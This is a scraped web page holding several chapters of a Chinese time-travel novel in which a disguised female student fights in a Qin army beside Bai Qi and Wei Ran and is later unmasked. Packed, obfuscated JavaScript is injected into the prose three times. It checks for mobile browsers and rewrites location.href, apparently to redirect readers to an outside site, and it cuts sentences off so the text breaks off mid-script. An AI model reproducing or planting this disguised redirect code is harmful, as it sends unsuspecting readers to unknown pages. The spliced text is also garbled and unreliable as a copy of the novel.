白起顿了一下,“还是你来吧。” 魏冉蹙眉,狐疑盯着白起,他想了想,答应道:“行吧。” 第二个问题随即出现。 楚越砍不下去。 她也想下手啊,但每次举起剑,脑海里就会响起一句话—— “打赢坐牢,打输住院。” 她咬咬牙,想要克服这句话,下一句又接踵而至。 “致人受伤,五到十万。致人残疾,二十万。致人死亡....” 早知道不听那个普法讲座了,只是去凑个人数罢了,这该死的知识,怎么真的进脑子了? 而且,对面是魏冉。 这么一犹豫,楚越手里的剑就被他打掉了。 铁剑拍在手背,五指便不受控制的张开,剑应声而落,魏冉甚至不需要别的动作,便轻而易举把剑架到了她脖子上。 他收了剑,‘嘶’的吸口气,蹙眉看向白起,“就这?” 魏冉转过头,打量着楚越,“你教习没教你格杀吗?你也不砍,也不躲,你站那儿干什么?打算资敌军功吗?” 说话怪损的。 楚越尴尬摸了摸头,“教了啊。我还学的挺好呢。” 军训的时候,武器是木的,招式是死的,楚越轻轻一学,就是优秀。 白起眼中满是忧虑,“要在战场上,你刚才就死了,魏冉会给你机会,但敌人不会,他们会砍下你的首级,去换军功。” 魏冉摇头,却看得很开,拍了拍白起肩膀,“没关系,毕竟立春现在对的是我,等他上了战场,砍两个魏军,自然会明白的,到时候就不一样了。” 白起轻叹口气,算是默认了魏冉的说法。 楚越也叹气。 唉—— 生活太难了,她又想回咸阳了,嬴轩.... 战争到来的悄无声息。 张仪出仕魏国为相,意在控制魏国朝秦,但魏王不听张仪之言,朝见秦国,反而用公孙衍合纵,五国相约为王。 秦王大怒,当即发兵攻打魏国。 调兵的命令下达,军队日夜兼程,很快就到达指定位置,肉眼可见的,秦军兴奋起来。 楚越到河边打水,望着一片陌生的地方,不由出神。 她知道所有人的命运,唯独对自己的命运一无所知。 楚越已经不知道自己和历史的关系,如果她是历史的一部分,则她的命运也是固定,如果她不受历史约束,那是否代表,历史可以改变? 作为一个历史研究生,她当然不觉得历史能改变。 但作为一个人,没人希望命运是既定的。 她矛盾、迷惘、彷徨,然后一口气吃了八个魏冉打回来的柿子。 这野柿子真甜,像一汪蜂蜜。 作战的军令下达,魏冉收到军令,下达麾下。 “不要害怕,往前冲就是,身后交给我和白起。”魏冉安慰她道。 ‘名师’也为楚越押题。 白起道:“没必要害怕,你比一般士卒要强,应该是他们害怕你,而不是你害怕他 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退堂鼓一级选手,每天演奏个人单曲——《不然,咸阳,嬴轩》。 次日天色尚暗,还未明亮,秦军已然集结,大量的酒,被分发下来,秦军有战前饮酒的习惯,酒精能刺激人,增强战斗力。 楚越没敢多喝,怕没起到壮胆的作用,反而醉酒,一头睡倒在战场。 魏冉和孟守检查完麾下士卒备战情况,振臂一呼道:“破阵,每人加爵一等,军功,爵位,就在前面。” 楚越悬着的心终于死了。 他们是陷阵士。 陷阵士又名陷队之士,商鞅首创,陷阵是冲锋陷阵的陷阵,军队之所以强大,只因为有阵法,长短兵相间,配合得当,而陷阵士,专破敌军阵法。 讲究快、准、狠,突破敌军防线,搅乱他们的布置,相当于现代军队的穿插连。 陷阵之士,是秦军精锐。 这匹配机制不对吧?! 但下一瞬,她又反应过来,募人府肯定要优质兵源,而她作为长得高大结实的男丁,不就该分去精锐,作为储备人才。 而且,楚越瞟了身边白起一眼。 有这样的队友,匹配到谁都不该意外。 白起帮楚越用革带将剑绑在手上,防止剑沾血脱手,几个同什的甲士上前,轮流拍了拍她的肩,鼓励道:“别怕,往前冲,有我们呢。” 楚越露出一个比哭还难看的笑。 她真的谢。 战鼓在身后咚咚作响,楚越的心也随着鼓点砰砰跳动,她握紧了手里的剑,身体微微颤抖起来。 盾兵在前,掩护无甲的弓弩手,军阵缓慢往前,一边前进,一边放箭,嗖嗖几轮之后,鼓声变化,最前一列的弓弩手有序分开,握着长戟的战士踏步而出,在盾牌兵的掩护下,继续往前。 两侧的战车、骑兵,闻旗令而发,一时灰尘漫天。 战车撞上敌方军阵,原本整齐的军阵,残缺一角,这个时候,战车之后的他们,是时候往前冲了。 魏冉冲锋在前,身边的人也都冲了上去,楚越无奈,只能硬着头皮往前去。 中国有句古话,来都来了。 冲到前面,楚越看见密密麻麻的魏军,正在密集的鼓声中,有序奔跑,企图重新组成军阵.... “杀!”魏冉振臂一呼。 15. 噩梦 滴答,滴答... 剑上黏稠鲜血滴落,一滴接着一滴,声音清晰,在耳边回荡。 楚越低头,看向自己的手,满手通红,她本能扔掉了手里的剑,长剑落地,一个敌人却杀了过来。 恐慌不知所措之际,手里又凭空多出一把剑。 她根本来不及想。 铁器刺入人身,滞涩感穿过掌心直达魂灵深处,温热的鲜血溅在楚越脸上,她睁着眼睛,只对上一双不瞑目的惊愕双眼。 敌人缓缓倒下,剑上黏稠鲜血滴落,一滴接着一滴。 滴答,滴答... 声音清脆,在耳边回荡。 楚越剧烈喘息着,耳畔全是自己沉重破碎的呼吸声,她低头看向自己颤抖的手,殷红一片,黏稠滑手,她却不敢松开手中的剑。 血腥气浓厚,在鼻尖萦绕,令人作呕,她高度紧绷,死死盯着周围风吹草动,生怕再出现下一个敌人。 可是原野寂静,除了她,和堆积如山的尸体,一丝声音也没有。 朦胧间,耳边响起白起的声音,“楚越。楚越。” 荒原无边,她辨不清声音传来的方向,只能无头苍蝇似的乱跑,可她无论朝什么方向走,最终都会回到起点,一放下剑,就有敌人朝她而来。 她一遍遍想起那个被她杀死的魏国人。 楚越强迫自己冷静下来,一镇定下来,周遭异样变得迹可循,是噩梦。 “楚越。楚越。” 跟随着声音的方向,楚越踉跄往前,魏人那张垂死的脸,被她抛之脑后,两边的世界越来越白,炫目白光冲淡世界的鲜红,楚越费力睁开眼睛,涣散视线聚拢,随之映入眼帘的,是白起担忧的脸。 “白起。”一开口,她发现自己声音居然如此沙哑。 楚越坐了起来,身后传来阵阵凉意,她这才意识到,自己出了一身的汗。 外间正值黄昏,霞光染红天际,和梦里一模一样,世界鲜红一片,楚越不免恍惚,但身边白起提醒她,这不是噩梦,而是现实。 此时营帐中,除了她,就只有白起。 白起垂眸,没有看楚越,解释道:“我刚才进来取东西,发现你好像梦魇了。” 楚越将头埋进膝盖,“我刚才做了个噩梦。” “没关系,第一次上战场都会这样。”白起安慰道。 “那你也做过噩梦吗?” 楚越歪头看向白起,半边脸靠在膝盖上,汗水黏腻,将发丝粘在脸上,她好奇的视线,穿过蓬乱发丝间隙,投向身旁少年。 名将是怎么长成的?他第一次上战场的时候,也会跟个新兵蛋子一样吗? “那倒没有。” 楚越将头转了回去,“那你说什么都。” 就她一个新兵蛋子是吧。 她跟这群有天赋的人拼了。 “这个世道就是这样的,既然想要得到,就要付得出代价,既然选择要军功,就要忘记那些杀戮。” “已经结束了,秦军大胜。”白起坐在床边,对楚越道,“很快战功就会计算出来,你的目标达到了。” 楚越不说话,军功的获得,有些沉重,白起看了她一眼,“人各有命,或许那个人的命,就是死在你手中。” 提到命。 楚越侧首,再次看向白起,她盯着他看了一会儿,白起抬眸,“怎么了?” “没什么。” 楚越垂眸,眼中不妨掠过一丝伤感。 知道的太多,有时不是什么好事,因人而产生的羁绊和悲伤,只在一瞬与下一瞬。 命,白起的命是什么? 战功赫赫的秦国将领,死在没有硝烟的战场。 “你信命吗?”楚越低声问道。 白起显然被问住了,良久,耳边响起阵很轻的叹息声,“楚越,我不是很会说话,只是希望你能够好过一点。” 楚越将脸埋入膝盖,“我记得他的脸,我在梦里,一遍又一遍杀了他。” “我如果不来这里的话,他是不是就不会死?” 白起随手折了一段翘起的干草,一边扯,一边道:“楚越,这是国家与国家之间的战争,即便他是死在你手里,这也不是你一个人的错,忘了吧。” 军队,是国家的暴力机器。 整个国家的人,都需要为杀戮买单。 楚越转过头,看向白起,他也正望着自己,那双漆黑无澜的眼睛,目光平静,带着些许柔光,四目相对,细小的草段,从白起指缝飘落,密密麻麻的细小飞灰,在空气中翕动。 他若无其事的别过视线,继续道:“他死,是因为他自己太弱了,即便没有你,也会被别人杀掉。你该想的,不是愧疚,而是如何继续活下去,明天,战争还会继续。” 楚越坐起来,呼出胸口浊气,“我知道了。” 战争是旷日持久的,不是一天一场仗,死一个两个人就能结束。 魏国,曾经也是雄霸天下的一流大国,吴起的变法,训练出名震天下的魏武卒,魏国对外征战,所向披靡。魏惠王称王时,列国也曾去魏都朝拜。 辉煌霸业,昙花一现。 桂陵、马陵之战大败,魏国沦为二流国家。 但即使霸业衰退,魏国仍旧是不可小觑的强大国家,魏军的战斗力,也不容小觑。 秦军强,魏军在生死面前,也会绝地反击,守卫家园。 楚越渐渐麻木,她看着魏军死,也目睹秦军倒下,血与死亡之间,她终于明白,什么叫战国。 魏冉双手握剑,狠狠砍倒面前最后一个魏卒,往山坡上冲去,白起当仁不让,紧跟其后。 楚越累得满头大汗,却不敢停留,战场上一旦落单,就离死不远,她只能快步跟上两人步伐,小腿被人踹了一脚,走得不利索,白起回头查看身后情况,顺手拉了她一把。 她浑身是血的登上高丘,举目望去,面前魏国残军正在聚拢,准备布阵。 等他们布好阵,他们就是待宰的羔羊了。 楚越快哭了,老实了老实了,这次真的老实了。 她要回咸阳。 嫁给嬴轩也行。 嫁给谁都行啊。 魏冉深吸口气,“三、二、一,走!”、 楚越握着剑,跟了上去。 累到极致的时候,晕倒和睡着区别便不太明显,楚越只记得,战事结束,她被白起搀着,一瘸一拐回到营帐,往干草堆中一躺,眼睛闭上,就没有知觉了。 这一觉不知为何,睡得格外安稳、宁静,身上暖烘烘的,像晒着太阳。 她似乎回到了还在咸阳王宫的时候,站在宫檐下,落日照在她身上,正午的炙热散去,夕阳温柔的像风。 辽阔的空地前,宫人往来,她站在这里,静静等着什么。 牛的叫声,从远处传来,打破安静。 很吵。 吵死了。 意识恢复,最先裂疼的是太阳穴,而后肌肉的酸痛,才从各方传来。 “啊。嘶。” 她动了动,却发现怀里多出个什么东西,那似乎是梦中温暖和安全的来源,低头一看,是一个人。 白起。 楚越愣了一下,又怔了一下。 眼下这种情况,显然谁先醒谁尴尬,好死不死,魏冉先把她吵醒了。 白起蜷在她怀中,睡得安稳,而自己不知何时,环住了他的头,下巴搁在他脑袋上。 这个姿势,莫名有一种强烈的舒适与安全感。 睡得近的两个人有时候会不知不觉聚拢在一起,楚越经常一觉睡醒,看见魏冉和孟守抱在一起。睡相这种东西,又不似仪态,清醒之际还能时刻端着,睡着了,就断线了。 楚越想悄无声息的跟怀里人分开,但稍微一动,全身就疼得厉害,再轻轻一动,身下干草就噼里啪啦响起来,她立刻停下,屏住呼吸,才压下这些杂声。 要死。 既然解决不了.... 那就把困难推给白起。 她干脆不动了,打算装睡,等白起醒,看他怎么解决,谁先醒谁尴尬,她反正没醒。 连绵的噩梦,从梦中远去,但那股淡淡的血腥气,却依旧萦绕在鼻尖,楚越本能看向自己环住白起头的手,手上被鲜血浸湿的布带,已经消失不见,一双手干干净净,连指缝中都找不到一丝血迹。 就好像她没有杀过人一样。 可战场上的一切,全都真实发生过。 楚越又想起了那些鲜血、尸体,死去的敌军和同袍,都曾经是活生生的人。 复杂的情绪,笼罩在她心头,她于是愈发怀念梦中的安宁,原本轻悬在白起头上的下巴,也慢慢沉了下去。 楚越一时怅惘,全然没注意到,白起的手,已经悄然攥成了拳。 魏冉的牛叫声震耳欲聋,但楚越实在太累,居然顶着这嘈杂声响,不知不觉睡了过去。再醒来,又是黄昏时分,身边空无一人,看来白起已经把问题解决了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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楚越接过肉,剥开桐叶,大快朵颐,白起看了楚越一眼,神情有些不自然,楚越吃了两口,似乎觉察到自己吃相不雅,往白起方向看了一眼,张开的血盆大口缩了缩,变成了血盆小口。 “你额头的伤要注意,否则会留疤。”白起提醒道。 楚越下意识捏紧了手里的肉,“我知道了,谢谢你。” 秦军攻魏,大胜,取曲沃、平周。 都尉奉命驻扎曲沃,看着传闻中的曲沃城,楚越不由感慨,“曲沃代翼,晋国的小宗侵占大宗王位,再之后,晋国又被卿大夫瓜分为三晋,现在,这城又到了秦国手里。” 风水轮流转。 六国归于秦,秦又失其鹿。汉家天下三分,魏蜀吴鼎立。一份霸业,引得多少英雄折腰。 魏冉一手吊在胸前,抬头望向曲沃城,‘哦’了声,“那还不是魏王不听话,早听秦国的,不就不用挨打了。” 楚越笑了,“照你这么说,天下都直接向秦国投降算了。” “为什么不呢?”魏冉义正言辞道,“你看看列国,有哪一个比得过秦?” 楚越点头,“你说的有道理。” “你看韩赵魏,不过三个卿大夫出身;齐国,一个被篡位的侯国;燕国苦寒,与中原才往来多久;楚国,蛮夷也;赵国,也还不强大。” “秦国,乃是周天子亲封的诸侯,有护送平王东迁之功,又占据当年周室兴起宗周之地,有宗周在手,焉知有一日不能效法周武王,窥探成周,继而东出,得到天下。” “好兄弟。”魏冉完好的那只手搭上了楚越的肩,“还是你会说话,不愧是公子。” 白起一把勾了魏冉个趔趄,“说这么大堆,你俩知道成周在哪儿吗?” 成周就是洛阳,洛阳在哪儿? 好问题。 “不知道。”楚越答得直接。 没有某德地图,她还真不知道成周怎么走。 魏冉站定,锤了白起一拳,“当然知道。” “那你指给我看。” 魏冉四顾,举起的手又垂了下去,“哎呀,等到时候打过去了就知道了。” 白起忍俊不禁,抬手指向一个方向,“在那边。” 两人顺着白起手指的方向看去,太阳冉冉升起,东方朝霞明艳,“大秦要窥探中原,要么过崤关,要么从成周方向,现在的成周,还属于周王室。” 楚越望着那轮硕大的金轮,对白起和魏冉道:“会有进成周那一天的。” 秦,将缔造中国有史以来第一个帝国,它的疆域将囊括六国。 “好。”魏冉望着成周方向,点点头,回头对两人道:“到时候我们也去看看周天子长什么样子。” 楚越和白起相视一笑,白起对魏冉道:“进周王畿之前,你还是先把你胳膊养好吧,别周天子是两条胳膊,你成那一条胳膊的了。” 16. 白起化身白大夫 进驻曲沃后,大军休整,源源不断的物资和家信,经由秦国四通八达的驿道、邮站,送抵达前线,再由军吏统一分发。 孟守身后小车包裹堆积如山,他按竹简上记载,逐一叫人领东西,俨然大秦快递员。 “张立春。” 正看热闹的楚越一愣,指着自己,“我?” 她也有? 谁寄的? 楚越领完属于自己的三个大包裹,孟守身后包裹山矮了一半,她扛着三个包裹,回到营帐,逐一拆开。 三个包裹,分别由两个人寄出。 两个是王后送来的,另一个是嬴华和嬴繇凑出来的。 王后给她准备了很多东西,从吃的到用的,无一不有,装满整整两大袋,随包裹而来,还有一封嘘寒问暖的书信。 帛书很长,越到后面,字迹越小,王后对她的挂念,可见一斑。 楚越望着手中书信,心中百感交集,魏王后于她,是很特殊的存在。 前朝后宫、列国诸侯,嬴驷要面对的天下广大,于他而言,巫咸后人,不过芸芸众生中,稍微起眼一点的一个。而楚越之所以受到嬴驷如此殊遇,不是女公子,胜似女公子,是因为王后。 她是王后抚养长大的孩子。 王后是个很温柔又善良的女人,怜悯自己是个无父无母的孤儿,于是将自己放在了养育者——母亲、长姊的位置上,而她又是嬴驷的妻子。 因为她,才连接起楚越与嬴驷之间的另一份关系,类似父亲与孩子、长兄与妹妹的半分亲情。 没有母亲,是不会有父亲的,没有王后,就没有现在的楚越。 虽然楚越并不将王后当做母亲,可数十几年细心呵护、朝夕相处,她对魏王后,也有一定的感情。 王后并没有责怪她逃婚,而是担心她一人在外,得知她在军营,忧心她的安全,她思念她,仿佛一个寻常的母亲思念孩子。见王后担心难过,楚越难免动摇。 她叹口气,将王后的书信收了起来。 嬴华、嬴繇送来的东西比较单一,钱、信。 信是嬴繇写的,看清信的内容,楚越想他一定是偷偷把信塞进嬴华包裹的,因为信中赫然写着,他想来投奔楚越,和她一起为秦国建立功勋。 呵。 放着将军不当来当小卒,真是好日子过够了。 这是真地主家的傻大儿。 楚越放下书信,看了看自己身上破洞连破洞的麻布旧衣,还有磨得要见底的鞋。 军中最废鞋。 难怪出土兵马俑的鞋底都那么厚,但凡薄一点都扛不住日夜行军,她带来的钱都和随军的商贩买鞋了,军营里花钱的地方很多,却没什么赚钱的地方。 差一点楚越就要去找白起魏冉借钱,才能继续报效大秦了。 王后的物资和嬴华、嬴繇的钱,解了她燃眉之急。 楚越看着面前干净的衣服,挽起袖子,手臂上密密麻麻的红疹,被挠破后结成黑褐色的血痂。 自从来到军营之后,她没有机会洗澡,只能用毛巾擦拭身体,军营多蚊虫跳蚤,白起日日晒铺草,却依旧有些虫子,藏在角落,每到夜晚,就出来兴风作浪。 楚越皮最薄,很招虫子喜欢。 她不知不觉就抓破了自己的手臂,时间一长,天气又渐渐热了,新伤裹挟着旧伤被衣物一闷,更加难以痊愈,红肿而疼痛。 手臂上腿上,都是这样集连成片的伤。 而且,最重要的是,楚越发现自己的身体起了某种变化,小腹开始隐隐作痛,十六岁的少女即将迎来她在这个世界第一次癸水。 区分逐渐明显,楚越意识到,这个地方不再适合她了。 世界到处都是血,敌人的,自己的,象征死亡的,象征生命延续的,都汇聚在一起,蜿蜒流入时间的长河。 楚越将一根柴塞进灶中,火灭后,炉灰堆积,楚越筛了筛,装进长布袋,一条纯手工无污染的卫生巾便出炉。 要找个地方洗澡,楚越想。 说干就干。 军营附近有很多民居,楚越找到了一户农家,说明来意,并给了他们一些钱。 户主是个老头,发须花白,显然上了年纪,他也很爽快,将地方借给她,并帮她烧水。 刚解开腰带,楚越就听见屋外一声闷响,她谨慎抓起了剑,小心打开门,白起正站在庭院中,正举剑,和同样拿着剑面色不善的老头对峙。 “走。”白起靠近楚越,一把将她拉到身后。 楚越觉察到危险,系上衣带,跟白起离开,走出去很远一段距离,确认危险都被甩在身后,她才停下脚步,询问道: “刚才怎么了?” 白起有些生气,甩开她的胳膊,“你为什么一个人擅自离营,还去魏国百姓的家中?” “我...” “那些是魏人,你知不知道你刚才多危险!”白起神态严肃,他一认真起来,眼神就格外锐利。 楚越被这目光看的有些心虚,也才后知后觉反应过来。 那些是百姓,却是魏人百姓。 她对百姓,一向没什么防范心,以至于她忘记了自己的秦军身份,忘记了自己是作为侵略的一方,来到曲沃。 百姓,闲时为农,战时为兵。 楚越意识到了自己的错误,“抱歉。” 白起看了她一眼,强压下内心愤怒,同她解释道:“我看你一个人离开,这毕竟在魏国的地方,我怕你遇到危险,于是跟了上去,谁料刚好听见那户人家在商议,说趁你落单,杀了你。” 他们之所以答应楚越,是别有所图。 他们,想杀了她。 杀了这个入侵的敌人。 楚越脸色一时变得有些难看,白起见她神情变化,也没有继续再说下去,只是道:“走吧。” 白起转身,楚越却忽然伸手,拉住了他的手臂,白起猛然回首,盯住楚越拉住自己的手,他的视线缓缓上移,惊愕而谨慎的望着楚越。 楚越抬眸,对上白起的视线,“不要把这件事告诉别人,就当没发生过,可以吗?” 暗杀秦军,无论成功与否都会遭到秦军报复。 楚越很清楚,回营之后,白起很可能会召集秦军,将那户人家夷为平地,就算他不这么做,别人知道了,也会这么做。 起杀心的一瞬,他们就不再是投降的百姓,战时为兵,闲时为农,原本,兵与农之间的界限就不清晰。 古代人不会单独居住,一般都会和宗族生活在一起,一家有难,别家守望相助。火星一旦落下,谁也不知它是否会焚烧整片原野。 “他们要杀你。”白起道。 楚越有自己的底线,“我不杀百姓。” “你去那儿做什么?”白起问道。 楚越松开手,卷起半管袖子,露出手臂上的伤口,“我被虫子咬了,而且我来癸水了。” 白起愣了一下,显然,他没想到楚越会如此坦然卷起袖子,还说出来自己癸水的事情,见她自己没什么忌讳,白起的神色也变得自若。 “民居不安全,还是想别的办法吧。” “别的办法?”楚越困惑看向白起。 白起转身,“先回去。” 所谓别的办法,就是条河。 奔流不息的河。 冰冰凉凉的河。 军营里的人常来这天然澡堂沐浴,楚越早先也打过这河的想法,但每次踩点,都会碰见人,她便放弃了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432426|168255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天黑之后,人就少了,我帮你看着。”白起道。 有总比没有好,楚越安慰自己道。 是夜,群星璀璨,月色皎洁朦胧,楚越和白起借着夜色庇护,离开了军营来到河边,楚越提着个包裹,里面装了皂角和干净衣服。 白起为楚越放风,楚越寻了个僻静的地方,解下身上的衣服。 伤口沾了水,针一样刺痛。 楚越怕痛,又怕别人看见,又怕水里有蛇和蚂蝗,可是身上实在太脏。夜晚的河水,有些冰人,她忽然觉得,嬴轩也没有什么不好的。 起码嬴轩能供得起热水。 实在不行....明天就回去吧。 楚越洗完澡,换上干净衣服,湿发披在身后,白起拿着一束草走了过来,他曲一膝蹲在楚越面前,将手上的药草塞进口中,嚼烂,敷在楚越的手臂上。 草药敷上,原本灼痛的伤口立刻变得清凉,楚越惊讶的望着白起,“白起,你还懂医术?” 名将的素养这么的高吗? 楚越急忙挽起袖子与裤管,将身上的伤口露了出来,等着白大夫救她于水火。 白起望着楚越一起露出的臂膀、小腿,微微一愣,满是震惊的黑色眼睛对上了楚越的双眸。 楚越还没明白,茫然地望着白起,目光急切。 白起的黑眸溢出躲闪之色,他仓皇转过头。 电光火石间的短短一刹,楚越恍然大悟,忙手忙脚的将衣服往下拉。 “.....” 楚越尴尬挡住脸,一不小心,手指戳到额角伤口,结痂的伤口裂开,几滴血珠滚了下来,在衣襟渗开,楚越一把捂住伤口。 “没事吧。” 手背陡然覆上一阵热意,白起用力按在楚越手背,他们隔得很近,楚越一抬眸,白起那双漆黑的眼睛便近在咫尺。 视线碰撞,白起变得不自然,手也松了,他仓惶站起来,往远走了几步,却又想起什么,步伐一时止住,他背对楚越而立,留也不是,走也不是。 空明的月光穿过乌云,撒向大地,照在白起的身上,有了月光照明,白起的窘迫也清晰起来。 “其实,这个…” 楚越想跟白起解释一下,让他不必在意。 她在现代,穿得少得多了。 但白起却抢先一步对她说:“在下无意冒犯。” 这解释和他现在人一样苍白无力。 楚越还想说什么,脑海中却陡然浮现起那天晚上在厨房的画面,他的手探进自己的衣襟…… 地图.... 楚越脸上一阵发热,果然,人尴尬的时候,往往会想起更尴尬的事情。 她深吸口气,压下脸上热意,“我们什么时候能回咸阳?” 白起身上的窘迫消散了些,他回头看了一眼楚越,顺着她的话题道:“都尉还未接到军令,但我想,应该快了。” “攻打魏国,不过是给魏国一些警告,三晋与赵国、中山五国互王,意图集众弱抗衡周边的大国,秦国、齐国、燕国、楚国,都不会坐视这样的事情发生,魏国最后还是会倒向秦国的。” 白起说起国际形势,头头是道,那双漆黑的眼中,目光刚毅肃然,十八九岁的少年身上,已经有了将来名将的影子。 她打量眼白起,垂眸若有所思。 须臾,楚越回过神来,看向白起,准备继续和他聊点别的,以缓解尴尬的气氛,谁知一抬眸,恰好又撞上白起微微侧首,投向她那来不及收回的视线。 见楚越回头,白起迅速避开。 但,迟了,楚越看到了。 白起也知道楚越看到了。 气氛于是又尴尬起来。 楚越:“....” 17. 魏冉的身份 “白起,你以后的命会很好。”楚越不得不梅开二度,把话题岔开。 “什么?”白起显然没有听明白。 楚越拍了拍身边的位置,示意白起坐下,白起垂眸,看了她一眼,在离她一定的距离坐下,楚越重复道: “我说,你的命会很好。” 白起想了想,“楚越,我不信命。” 又是一个唯物的古人。 楚越不解问道:“你为什么不信命?” 不是说古人都很迷信吗?为什么一个两个都不相信命?嬴华是,白起也是?这难道就是秦军的素养吗? “如果相信命,那我是什么呢?”白起侧首,看向楚越,漆黑的眼里,带着疑问,重复道:“一切生来定好,那我算什么?” 楚越忽然笑了,“好像是这样。” “与其相信虚无缥缈的命运,我更相信自己,相信自己的能力。知道自己要做什么,把握住机遇,这样即便失败,也不会觉得一生虚度。” “难道楚越离开咸阳,不知道自己在做什么吗?”白起反问道。 楚越想都没想,脱口而出,“当然知道。” “我不想嫁给那个人,虽然他很好,但是我不想嫁给他,这就是我离开咸阳的原因。” 在那个漆黑的夜晚,她义无反顾的离开了咸阳。 前方一片黑暗,看不到出路,她背着包裹,跌跌撞撞在黑暗中的摸索,露水打湿她的裙角,又湿又冷。 “所以,即便是命,你也会离开那里不是吗?”白起反问道。 楚越叹口气,她被白起说服了,“是。” 提到咸阳,她很怅惘。 “但我只知道自己当时在做什么,我不要嫁给那个人,于是我离开了咸阳,走投无路,才来投军。现在看来,我似乎在慌不择路的情况下,一头扎进了另一个泥潭。” “我不知道自己以后要怎么办,只能走一步看一步。” 心剧烈跳动,不知是因为激动还是恐惧,她奔跑着,不知黎明在何方,却依旧不曾停下脚步。 总之,先短暂离开吧。 似乎觉得自己的话题太沉重,楚越深吸口气,决定换个轻松点的话题,于是问白起道:“白起,你以后打算做什么?和魏冉一样,做大将军吗?” 白起答得认真,“不,我想做铸剑师,等到战争结束了,我就回家,去学铸剑。” 楚越笑了,“等战争结束,还要剑做什么?不该铸剑为犁吗?” “君子剑不离身,剑者,是兵器,也是礼器,我想铸出合乎礼仪的剑,让战后的世界,重新恢复宁和。” 楚越有些诧异,良久,才缓缓道:“你的志向要比魏冉大。” 白起笑了,“志向分什么远大,不过人心各异。” 两人相对而坐,夜色静谧,晚风吹面,两人头上碎发,随风轻摆,楚越没话可问了,他们之间便沉寂下去。 片刻安静过后,白起问了楚越一个问题,“你为什么不杀那些百姓?” 他看着楚越,以为对方会说,不忍、怜悯、民生艰苦。 谁料楚越只是轻笑了声,“不杀就是不杀。” 她怎么能跟一个古代人讲社会主义核心价值观呢。 这也太对牛弹琴了。 “剑在我手里,我想杀谁,不想杀谁,还需要解释吗?那我拿剑干什么?” 楚越望向白起,“难道违反秦法吗?” “没有。”白起道。 “那不就对了。” 楚越口气轻松,“不杀就是不杀,没有那么多原因,优柔寡断也好,人品高尚也罢,反正我不杀。” 白起聚精会神看了楚越一眼,“我把药给你,你自己上。” 他撕下一块衣摆,将草药包裹起来,用石头砸碎,递给楚越,楚越将药覆在伤口,过了一会儿除去药草,穿好衣服扎好系带,两人悄无声息回到了营地。 一进门,他们就和盘腿而坐的魏冉撞了个正着。 “你们去哪儿了?”魏冉问道。 白起答道:“有事。” 两人收拾东西,整理铺草,楚越正欲躺下,忽听魏冉问道:“立春,你到底是谁?” 楚越回头,“什么?” “有人托我照顾你,是宫里的王后,我于是跟我姊姊,也就是芈夫人打听,她写信说,宫里、宗室都没有一位你这个年纪的人,只有一位司巫,名唤楚越的,年纪与你相仿,而且,不在宫里。” 听魏冉提起司巫,白起神情也陡然变得严肃,他看了一眼魏冉,又悄然望向身旁楚越,暗中观察她的神情。 楚越神情愕然,白起垂眸,大概明白了什么。 魏冉双手抱臂,审问的目光凝聚在楚越身上,“司巫,她是女的。” 楚越坐了下来,看向魏冉,困惑蹙眉。 王后?托人托到了魏冉这里? 魏冉这个魏,是什么魏? 魏冉身旁空空如也,孟守不在,楚越猜到知道孟守已经被魏冉支开,索性承认,“对,我就是司巫楚越。” “什么?!” 魏冉震惊的看向白起,但白起却并没有表现出十分惊讶的模样,魏冉立刻明白了,不满道:“白起,这事儿你早知道是吧?!” “知道,但也不知道,我只知道她是女子,却并不知道她的确切身份。”白起说起楚越是女子,脸上不由浮起几分尴尬。 他知道的比较早。 拔出剑的时候,就想到了。 楚越抢在两人开口之前,冷冷道:“怎么,我是女子就不能陷阵杀敌报效大秦了吗?我难道很差劲吗?” 上阵的时候,她可没有怯懦过,一点也不逊色于外面那些男人。 魏冉想了想,“话是这么说....” 楚越没给他继续说下去的机会,“既然如此,那我是男是女,就不重要。秦法也没有规定,司巫不能上阵杀敌。” “秦法有这条吗?”楚越看向白起。 白起摇头,“没有。” “你看,所以你也别管我到底是谁了,我现在就是大秦的公士,张立春。” 骄傲的一级小兵。 感谢大秦,感谢大王,感谢队友。 魏冉想说,却又不知从何说起,看了楚越一眼,又看向白起,最后一屁股坐了回去,无奈道:“那男人就是男人,女人就是女人,男女有别,你这...” “成何体统是吧。” “啊,成何体统。”魏冉看向楚越,严肃道:“这真的成何体统!” “可是木已成舟啊。”楚越对上魏冉的视线,“你现在知道也迟了啊,我已经在这里待了那么长时间,你,难道没拍过我的肩,没和我共处一室吗?” 这桶是她一个人提的吗? 魏冉脸一瞬红到了脖颈,“不...不...我那时候不知道啊。” 他辩解完,求救似的看向白起,希望白起能说点什么,但显然白起也自身难保,低头避开了他的视线。 “但是覆水难收啊。”楚越下巴微微扬起,望着面前两人道。 既然她要下水,那大家都别跑。 只有大家都下水了,上岸才有意义。 帐内鸦雀无声,楚越要的就是这个效果。 “所以,你俩就当不知道,我们求同存异。是男是女,这是天生的,无法改变,但是我们都是来打仗的,我们有共同的敌人,魏国。” 楚越决定引祸水东流。 “只要我们能团结一致,各取所需,还管什么男男女女。” 魏冉还想说什么,孟守已经巡营归来,三人不约而同缄默,孟守见帐中氛围不对,打量了几人一眼,问魏冉道: “你肚子还疼吗?” 魏冉没好气道:“不疼了。” “你们三个干什么呢?鬼鬼祟祟的。” 楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 